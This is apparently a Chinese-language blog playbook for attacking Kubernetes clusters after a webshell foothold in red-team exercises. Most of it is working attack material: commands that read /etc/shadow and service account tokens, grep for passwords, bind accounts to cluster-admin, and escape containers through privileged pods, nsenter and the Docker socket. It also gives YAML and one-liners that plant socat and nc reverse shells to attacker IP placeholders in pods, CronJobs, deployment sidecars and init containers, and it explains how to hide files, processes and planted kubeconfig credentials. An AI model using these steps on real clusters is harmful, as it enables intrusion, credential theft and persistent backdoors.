攻防渗透SOP(k8s专用)
文章目录
攻防渗透SOP(k8s专用)
适用场景:已打入目标内网,成功落地 Webshell,目标为 K8s 环境
**目标:**快速识别、控制与横向突破 Kubernetes 系统,同时确保动作留痕、得分最大化、风险可控。
一、识别是否为K8s环境
(1)查看 hostname 与 进程信息
hostname
ps aux | grep kube
(2)查询cgroup信息:cat /proc/1/cgroup

(3)检查/.dockerenv文件:ls -alh /.dockerenv 如果可以找到该文件,说明是K8s或docker环境

(4)检查 mount 信息:mount | grep '/ type' 利用mount查看挂载磁盘是否存在K8s或docker相关信息

(5)查看硬盘信息:fdisk -l 容器输出为空,非容器有内容输出

(6)查看文件系统以及挂载点:df -h
df -h | egrep '(overlay|aufs)'

(7)查看环境变量:env

二、凭据搜集与本地探索
(1)查看操作系统信息
uname -a
cat /etc/os-release
cat /etc/passwd
cat /etc/shadow
(2)确定webshell权限
whoami
id
sudo -l
#或尝试查看一些敏感文件,看是否有权查看
(3)搜集 k8s 相关信息
env 或 printenv
#查看有关kubernets环境变量,如:KUBERNETES_SERVICE_HOST KUBERNETES_SERVICE_PORT
cat ~/.kube/config
#查看kubernetes配置文件,该文件也有可能包含Kube API信息,可用来直接访问集群
ps aux | grep kube
#查看进程中是否有k8s对应的服务进程
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
#/var/run/secrets/kubernetes.io/serviceaccount/目录下大概率存在默认的 Service Account Token、CA证书和命名空间信息等
cat /proc/self/cgroup
# 访问该文件,尝试通过cgroup信息获取容器的 pod 名称和对应节点信息
ip addr/ifconfig
#查看网络信息
find / -type f -name "*secret*" 2>/dev/null
find / -type f -name "*config*" 2>/dev/null
#查找挂载的 Secret 和 ConfigMap
#搜索 /etc/、/opt/、/app/ 等目录,查找可能挂载的 Secret 文件或配置文件,常见文件名包含 secret、config、key、token 等关键词。
grep -r "password" /app /etc 2>/dev/null
grep -r "token" /app /etc 2>/dev/null
#应用程序可能会将数据库密码、API Key 等写入配置文件,常见路径如 /app/config/、/etc/ 等
三、API 权限探测与集群枚举
K8s环境下,ServiceAccount 默认会附带某些API访问权限.可以尝试从
/var/run/secrets/kubernetes.io/serviceaccount/token文件中读取当前容器的ServiceAccount Token。API Server 地址一般是
https://kubernetes.default.svc,也可以通过环境变量KUBERNETES_SERVICE_HOST和KUBERNETES_SERVICE_PORT获取。
(1)尝试使用 Service Account Token 访问 kubernetes API:
#使用Service Account Token尝试访问Kubernetes API
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods
#利用该Token进行API调用,查看是否有权限列举集群资源
curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/apis/apps/v1/namespaces/default/deployments
#列出当前命名空间的 Pod
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://kubernetes.default.svc/api/v1/namespaces/$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)/pods
#如果权限允许,尝试列出所有命名空间
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://kubernetes.default.svc/api/v1/namespaces
(2)查看 kubernetes API 版本信息
curl -k https://<K8S_API_SERVER>/version
(3)枚举集群资源
kubectl get ns,pods,svc,secrets --all-namespaces
(4)检查高权限资源(如ClusterRole、ClusterRoleBinding)
kubectl get clusterrole,clusterrolebinding
(5)获取集群中的Pod、服务、Secret、ConfigMap、部署等信息
curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/api/v1/pods
curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/api/v1/services
curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/api/v1/secrets
#注意替换token
(6)探测K8s RBAC权限:
检查当前权限是否足以访问K8s资源,例如Pods、ConfigMaps、Secrets等。如果有权限访问RBAC(Role-Based Access Control)资源,可以枚举当前角色、角色绑定、集群角色等信息。
-
使用以下命令检查API的访问权限
curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/apis/rbac.authorization.k8s.io/v1/roles也可以通过调用
/apis/authorization.k8s.io/v1/selfsubjectaccessreviews接口,判断当前 Token 是否有某些权限。 -
如果API权限足够,可以访问
api/v1/namespaces,列举集群中的所有命名空间,进一步识别是否有其他敏感命名空间。
(7)枚举敏感资源
-
尝试读取 Secrets:
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \ https://kubernetes.default.svc/api/v1/namespaces/<namespace>/secrets当然,也可以枚举Nodes查看集群节点信息。
四、横向控制与权限提升
横向移动:
- 通过查看当前Pod配置,找出与其他容器的关联性。如果容器之间共享网络、存储等资源,可能存在横向渗透的机会。
- 访问或执行其他Pod中的命令,查看是否有权限执行远程命令。
- 如果Pod中有Volume挂载,可以尝试读取/修改共享文件
(1)通过kubectl或API访问其他Pod
如果你能够访问到某个Pod,首先可以查看该Pod是否挂载了共享的Volume(如
emptyDir,hostPath等),通过这种方式,攻击者可以访问其他容器的数据。
-
列出当前Pod
kubectl get pod <pod_name> -o yaml查找
volumes字段,查看是否有挂载hostPath、emptyDir等类型的Volume。如果有,则可以直接访问它们,寻找可能的敏感信息。 -
列出所有Pod
如果你有部分权限访问K8s API,可以通过以下命令列出集群内的所有Pod,寻找有可能高权限的Pod(如运行系统组件的Pod)。
kubectl get pods --all-namespaces #或者列出所有的命名空间 kubectl get namespaces这里你可以筛选出有可能具有较高权限的Pod,如
kube-system命名空间下的Pod。 -
进入目标Pod
如果你发现其他Pod中有有趣的Volume挂载或服务暴露,可以尝试通过
kubectl exec进入该Pod。kubectl exec -it <目标Pod名称> -n <命名空间> -- /bin/sh #或者切换命名空间查看资源 kubectl get pods -n <目标命名空间> kubectl get secrets -n <目标命名空间>执行该命令后,你将能够以容器内的权限执行命令,进一步探查是否存在权限提升的机会。如果目标Pod没有
/bin/sh,可以尝试/bin/bash或其他Shell。 -
通过API直接执行命令
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \ -X POST \ -d '{"command": ["/bin/sh", "-c", "whoami"]}' \ https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/<命名空间>/pods/<目标Pod名称>/exec -
读取其他命名空间的 Secret
kubectl get secret <secret名称> -n <目标命名空间> -o yaml
(2)利用挂载的卷
-
检查挂载的卷
mount | grep -i volume -
访问共享存储
如果发现共享存储(如NFS、HostPath),可以直接访问其他Pod的数据:
cd /path/to/mounted/volume ls -la
(3)创建带有反弹 shell 的 Pod
-
假设你已经有权限创建 Pod,可以用下面的 YAML 文件创建一个带有反弹 shell 的 Pod:
apiVersion: v1 kind: Pod metadata: name: attacker-pod spec: containers: - name: attacker image: alpine command: ["/bin/sh", "-c", "apk add --no-cache bash socat; socat TCP:你的IP:你的端口 EXEC:/bin/bash"] restartPolicy: Never-
将
你的IP和你的端口替换成你监听的地址和端口。 -
创建 Pod:
kubectl apply -f attacker-pod.yaml -
监听端口:
nc -lvnp 你的端口
-
-
如果环境中有
kubectl,可以直接执行:kubectl run attacker-pod --image=alpine --restart=Never -- /bin/sh -c "apk add --no-cache bash socat; socat TCP:你的IP:你的端口 EXEC:/bin/bash"实现反弹shell
权限提升:
(1)利用 RBAC 配置错误提升权限
-
查看当前用户权限
如果你已经有部分访问权限,下一步可以探测当前用户的RBAC权限。首先查看集群内角色的定义。你可以列出所有角色和集群角色来查看是否有权限提升的可能
#查看当前用户权限 kubectl auth can-i --list #查询当前RBAC角色和权限 kubectl get roles --all-namespaces kubectl get clusterroles #查看当前Service Account kubectl get serviceaccount然后可以查看这些角色绑定的权限,尤其是有没有对敏感资源(如Pod、Node、Secrets等)的访问权限
-
获取当前用户的角色绑定
通过
kubectl get rolebindings和kubectl get clusterrolebindings命令查看当前角色绑定。通过这些命令你可以找到当前用户所具备的权限,进而了解可能的提升方式:kubectl get rolebindings --all-namespaces kubectl get clusterrolebindings -
创建 ClusterRoleBinding 绑定集群管理员权限(前提是有权限创建)
Kubernetes中,默认的ServiceAccount权限配置有时过于宽松。你可以查看当前Pod所使用的ServiceAccount,看看是否可以利用它提升权限。
kubectl get pod <pod_name> -o=jsonpath='{.spec.serviceAccountName}'然后来创建clusterrolebinding
kubectl create clusterrolebinding attacker-binding --clusterrole=cluster-admin --user=<你的用户名>或者如果Pod使用了一个权限较大的ServiceAccount(如
default),你可以尝试将它添加到集群角色绑定中,来绑定 ServiceAccount:kubectl create clusterrolebinding attacker-binding --clusterrole=cluster-admin --serviceaccount=<namespace>:<serviceaccount-name> -
利用已有权限创建 ClusterRoleBinding
如果你有权限创建 ClusterRoleBinding,可以将当前 ServiceAccount 绑定为 cluster-admin:
kubectl create clusterrolebinding attacker-binding --clusterrole=cluster-admin --serviceaccount=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace):default
(2)创建高权限Service Account
-
创建新的Service Account:
kubectl create serviceaccount attacker -
绑定高权限角色(如
cluster-admin):kubectl create clusterrolebinding attacker-admin --clusterrole=cluster-admin --serviceaccount=default:attacker -
获取新Service Account的Token:
kubectl get secret $(kubectl get serviceaccount attacker -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 --decode使用该Token可以以高权限访问Kubernetes API。
(3)利用Pod逃逸到主机
-
检查Pod是否以特权模式运行:
kubectl get pod <Pod名称> -o yaml | grep -i privileged如果返回
privileged: true,可以尝试逃逸到主机:chroot /host /bin/sh(假设主机根目录挂载到Pod的
/host路径) -
利用
hostPID逃逸:如果Pod配置了
hostPID: true,可以直接查看主机进程:ps aux并通过
nsenter逃逸到主机命名空间:nsenter --target 1 --mount --uts --ipc --net --pid
(4)利用节点访问权限
-
查看节点信息
kubectl get nodes -o wide -
查看节点上的 kubelet 配置(如果有权限)
curl -k https://<node-ip>:10250/pods -
利用 Docker Socket 获取节点权限
如果容器中挂载了 Docker Socket
/var/run/docker.sock,可以执行:docker ps docker run -v /:/host --rm -it alpine chroot /host sh这样可以进入宿主机的根文件系统,获得节点权限。
(5)利用特权容器
-
创建特权 Pod:
apiVersion: v1 kind: Pod metadata: name: privileged-pod spec: containers: - name: privileged-container image: alpine command: ["/bin/sh", "-c", "sleep 1d"] securityContext: privileged: true restartPolicy: Never -
创建:
kubectl apply -f privileged-pod.yaml -
进入容器:
kubectl exec -it privileged-pod -- sh
(6)横向渗透Node权限
-
通过访问Node信息提升权限
如果K8s集群的Node权限过于开放,攻击者可能可以通过K8s的Node相关API获取Node的详细信息。你可以尝试通过API接口获取Node的详细信息:
curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/api/v1/nodes如果访问成功并且API权限足够,你可以获取集群中所有Node的详细信息,包括Node的配置、标签、容器运行时等信息。这时可以寻找是否有权限提升的机会(例如执行某些敏感操作)。
-
获取Node节点的Kubelet端口
某些K8s集群的
kubelet端口可能未受保护,你可以尝试访问这些端口,获取更高权限的信息。通常,kubelet的默认端口为10250,你可以尝试通过kubectl proxy或其他方式绕过防火墙:kubectl proxy --port=8080 curl http://localhost:8080/api/v1/nodes/<node_name>/proxy/metrics
五、后门与得分留痕(需谨慎)
部署后门:
(1)创建正向 shell 的持久化 Pod
apiVersion: v1
kind: Pod
metadata:
name: backdoor-pod
labels:
app: backdoor
spec:
containers:
- name: backdoor-container
image: alpine
command: ["/bin/sh", "-c", "apk add --no-cache socat bash; while true; do socat TCP-LISTEN:4444,fork EXEC:/bin/bash; done"]
restartPolicy: Always
或者
kubectl run <pod-name> --image=<malicious-image> --restart=Never --namespace=<namespace> --command -- /bin/bash -c "while true; do nc -l -p 4444 -e /bin/bash; done"
-
监听本地 4444 端口,等待连接。
-
创建 Pod:
kubectl apply -f backdoor-pod.yaml -
远程连接:
nc <pod-ip> 4444
(2)利用 CronJob 定时执行恶意任务
-
创建一个定时执行反弹 shell 的 CronJob:
apiVersion: batch/v1 kind: CronJob metadata: name: backdoor-cronjob spec: schedule: "*/5 * * * *" # 每5分钟执行一次 jobTemplate: spec: template: spec: containers: - name: backdoor image: alpine command: ["/bin/sh", "-c", "apk add --no-cache socat bash; socat TCP:<你的IP>:<你的端口> EXEC:/bin/bash"] restartPolicy: OnFailure或者
apiVersion: batch/v1 kind: CronJob metadata: name: reverse-shell spec: schedule: "* * * * *" jobTemplate: spec: template: spec: containers: - name: reverse-shell image: alpine command: ["/bin/sh", "-c", "nc <攻击者IP> <端口> -e /bin/sh"] restartPolicy: OnFailure -
创建 CronJob:
kubectl apply -f backdoor-cronjob.yaml -
监听端口:
nc -lvnp <你的端口>
(3)修改已有 Deployment 注入后门容器
-
假设目标 Deployment 名为
webapp,可以 patch 容器,添加 sidecar:kubectl patch deployment webapp -p '{ "spec": { "template": { "spec": { "containers": [ { "name": "backdoor", "image": "alpine", "command": ["/bin/sh", "-c", "apk add --no-cache socat bash; socat TCP:<你的IP>:<你的端口> EXEC:/bin/bash"] } ] } } } }'或者编辑 Deployment:
kubectl edit deployment webapp在
spec.template.spec.containers中添加后门容器 或者 将spec.template.spec.containers.image修改为包含后门的镜像(如自定义的恶意镜像)。
(4)利用 ConfigMap 存储恶意脚本
-
创建 ConfigMap:
kubectl create configmap backdoor-script --from-literal=script='#!/bin/sh socat TCP:<你的IP>:<你的端口> EXEC:/bin/sh' -n <namespace> -
然后在 Pod 中挂载并执行:
kubectl exec -it <pod-name> -n <namespace> -- sh -c "chmod +x /path/to/mounted/script && /path/to/mounted/script"
(5)利用 Init Container 执行恶意代码
-
在 Deployment 中添加 Init Container:
initContainers: - name: init-backdoor image: alpine command: ["/bin/sh", "-c", "apk add --no-cache socat bash; socat TCP:<你的IP>:<你的端口> EXEC:/bin/bash &"]
(6)创建恶意ServiceAccount和ClusterRoleBinding
如果你想获得更多的权限,甚至是集群管理员权限,可以通过创建具有高权限的ServiceAccount,并将其绑定到集群角色(ClusterRole)上。
-
创建ServiceAccount:
kubectl create serviceaccount <serviceaccount-name> --namespace=<namespace> -
绑定ServiceAccount到集群管理员角色:
创建一个ClusterRoleBinding,将这个ServiceAccount提升为集群管理员权限:
kubectl create clusterrolebinding <binding-name> --clusterrole=cluster-admin --serviceaccount=<namespace>:<serviceaccount-name>
(7)注意隐藏
- 使用
.前缀隐藏文件:
kubectl exec <目标Pod名称> -- mv /tmp/flag /tmp/.flag
- 或使用
nohup隐藏进程:
kubectl exec <目标Pod名称> -- nohup /path/to/malicious-script &
当然,还有一种方法就是修改K8s配置文件,但这种方式在攻防中一般不建议使用
如果已经能够访问到容器内的文件,可以修改
kubeconfig文件来存储攻击者的访问凭据,以便将来通过kubectl连接到集群。
- 创建或修改
~/.kube/config:- 在K8s集群上,你可以将自己的Token添加到
~/.kube/config配置文件中,确保能够继续通过kubectl访问集群:apiVersion: v1 clusters: - cluster: server: https://<api-server-url> name: <cluster-name> contexts: - context: cluster: <cluster-name> user: <user-name> name: <user-name> current-context: <user-name> kind: Config preferences: {} users: - name: <user-name> user: token: <your-token>
得分留痕:
更多推荐



所有评论(0)